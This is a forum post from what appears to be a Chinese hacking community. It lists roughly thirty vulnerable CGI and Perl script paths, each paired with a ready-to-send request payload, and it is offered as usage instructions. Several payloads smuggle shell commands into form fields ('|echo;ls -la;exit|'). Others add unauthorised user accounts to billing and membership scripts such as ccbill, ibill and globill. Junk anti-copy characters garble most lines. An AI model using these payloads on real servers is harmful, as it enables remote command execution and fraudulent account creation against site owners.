找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2591|回复: 0
打印 上一主题 下一主题

Cgi-bin 30个漏洞+使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:55:26 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
==============================( B8 t; w% B1 I% B6 ]1 e$ x) h
; E5 P) s4 d; ?; Q0 f) `
/smspass.pl: D7 Q1 M# x8 U5 W+ \3 ~6 C
username=username&password=password
; D' W7 G- p/ b) T6 E) t, ^1 e' o" e* c, [: D
/index.cgi" b( R: V% j5 g
wei=ren&gen=command4 A5 N- g& m  ?  E: m! _

9 W* ^) H+ v( Y: t- G/passmaster.cgi% T( \% I: h2 {7 t" u( X3 P7 c5 l
Action=Add&Username=Username&Password=Password- Y& }( {/ I1 p

. _; A$ n, D+ p3 D2 L/accountcreate.cgi4 }4 U: f0 o! G+ A3 M: d8 P% K  N' O
username=username&password=password&ref1=|echo;ls|2 R8 ]! t/ o7 N- k
9 }# E( S) L& S; A! v* C' |
/form.cgi! @1 t  }$ F  _1 a; J6 M
name=xxxx&email=email&subject=xxxx&response=|echo;ls|" X$ ?; S; e2 U& I6 y
0 p- P" m5 }1 o& j
/addusr.pl& U+ U- y1 d9 p4 m
/cgi-bin/EuroDebit/addusr.pl
, R9 W" G% k: b! `. T# nuser=username&pass=Password&confirm=Password
; s5 Q' S% q+ O4 b+ i
3 @0 h8 a' r- {+ s7 D6 ^7 f$ n9 h/ccbill-local.asp$ O4 F: \4 h7 }  }2 j# l0 L* z1 s2 `
post_values=username:password* S6 I5 U: m. S7 F% v9 I  ~
8 ?, V* i6 z) T; J7 Z
/count.cgi' ]" j  z4 f: P! E
pinfile=|echo;ls -la;exit|+ K/ g: F$ u) I" K; p2 T0 [
9 V9 u+ {" _% ^! N! B) K! H1 E
/recon.cgi
1 h3 r! G0 A: @4 b# ]- N" {2 e/recon.cgi?search% i) ?& b4 G8 _8 R6 {' _
searchoption=1&searchfor=|echo;ls -al;exit|4 @. a; I- t* l( [. j" f

/ Z0 U$ L2 r* r8 J  P/verotelrum.pl
2 M- D9 {/ [2 m* z) C3 mvercode=username:password:dseegsow:add:amount<&30>" m& ]- w3 ~* \2 y2 |3 S

- s0 A' E; b* _; f3 g& \$ H6 u/af.cgi
0 `1 z' Z+ H7 D2 }_browser_out=|echo;ls -la;exit;|
/ b5 k; ]% g# }
7 K8 l! b+ S  ]! p! M, j! L/modify.cgi
- T' ^9 ]! ]2 Husername=username&password=password&expire=302 V7 Y; {$ w7 J6 \$ @  v, f, T
$ M1 i) E; y7 u: [, Z
/openjournal.cgi& _% y) \$ n( A+ @/ }
edit=1&ct=2&go=|echo;ls -al;exit|
1 d5 M% D& R+ Q& \9 W4 @2 h  |
3 i* }% @9 V5 j" |; y; c# [/gx9passwd.cgi  r: s' Y, L- ?  D3 B8 R
cmd=ADD&user=username&pass=password& S6 p8 a) k" y
. p4 Q2 U' {5 _# m% t5 D! M
/probecontrol.cgi% M+ d  F+ _; p3 b$ R. k9 B
command=enable&username=username&password=password6 B* l) R( W$ ]# r4 T: v

+ Y: W$ B+ _) e5 ?+ h  Y- D# `/recon.cgi' L) g/ P9 T4 ]9 E) I
searchoption=3&searchfor=echo;ls -la;exit
! C- T- d; C7 `, a9 \+ @# O$ I" d" j1 [4 Q
/htadd.pl9 \, ~" M9 D8 i# [' y
configfile=|echo; ls -alt; exit
# x( w  I0 p0 ^1 r$ U# X0 o) U
% ], H4 E3 \4 ^! Y/gx9passwd.cgi  ~) U5 p/ J* s) `
cmd=ADD&user=username&pass=password
" ]- P' ?# o) w0 T9 ?0 F# s9 ]! D8 \  u1 [
/ibill*.pl
0 G9 R$ ]) ^8 xreqtype=add&authpwd=authpwd&username=username&password=password# L3 v7 f0 o6 k3 h" V( l
) S" B  t1 K, ]( _, A
/cpay.cgi
4 A* p0 ]3 j( ycommand=add_member&username=username(EMAIL)&password=password(DES)& j. [% w) v  X
. V3 Z: N0 ~/ q
/globill_ut.cgi
% y8 \' Y5 V, `# A* j0 sdo=add&username=username&password=password&wpassword=password
. n" p& \* o) [1 t9 Z' V) F7 W! m, d* f5 m5 i" n
/usercontrol.cgi% x# F. W! @. k* b0 E, h
command=enable&username=USER&password=PASS
) {* R5 b  t* a# o+ m
* N9 v& y- C' p  u6 T6 l2 {/globoSALErum.cgi) x- G& w4 r# ~
action=ADD&seccode=seccode&login=username&password=password9 {0 T6 z$ [4 a
# I2 M5 h% c, V" k) l
/addusr.pl
' w; z9 g+ n7 P+ \& L5 puser=USER&pass=PASS&confirm=PASS5 x4 z6 w* O9 }

/ |; @% x4 ?" d% N& E/pincount.cgi9 G$ A1 Z$ l' S9 ~5 n4 r
/cgi-bin/mastergate/pincount.cgi
' ]; u$ E7 ]7 ]6 x3 Bpinfile=|echo;pwd;exit|, i. @5 z: I) n4 K
3 i/ l% c7 H: y3 S2 a
/accountcreate.cgi$ ~, y$ h4 C  L, w
/cgi-bin/gateway/accountcreate.cgi
0 b* J3 F8 x3 a1 _3 Ausername=username&password=password&password2=password&ref1=|echo;ls -al;exit
& c  h& D  s+ G# }9 |& q& V  V& G) y: v3 j
/af.cgi; ?& D* j8 e5 H* V/ a: F- p
/env.cgi
0 O3 u5 T: d3 v; `2 VADD+;echo;pwd;exit
- G& E1 v: [; |1 E
( I  u. O6 q3 V. V# z/count.cgi
9 ]' Q' Q; Y& x7 rpinfile=|echo;pwd;exit|
' b) J# b8 {0 C. G7 q' d- Y7 V2 H
/recon.cgi) q1 |2 d, D. l5 P
searchoption=1&searchfor=|echo;ls%20-al;exit|8 @( y9 ]' v/ T0 d

/ b; e- F- S- W9 `# N3 N/add.cgi& |2 Y% L% R. _4 P4 X
username=username&password=password&expire=30+ i. ~, P( `2 F4 K

* x" ~. T5 A) o9 J$ w" x==============================
/ m' P! _- c( Y2 \, @5 L5 V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表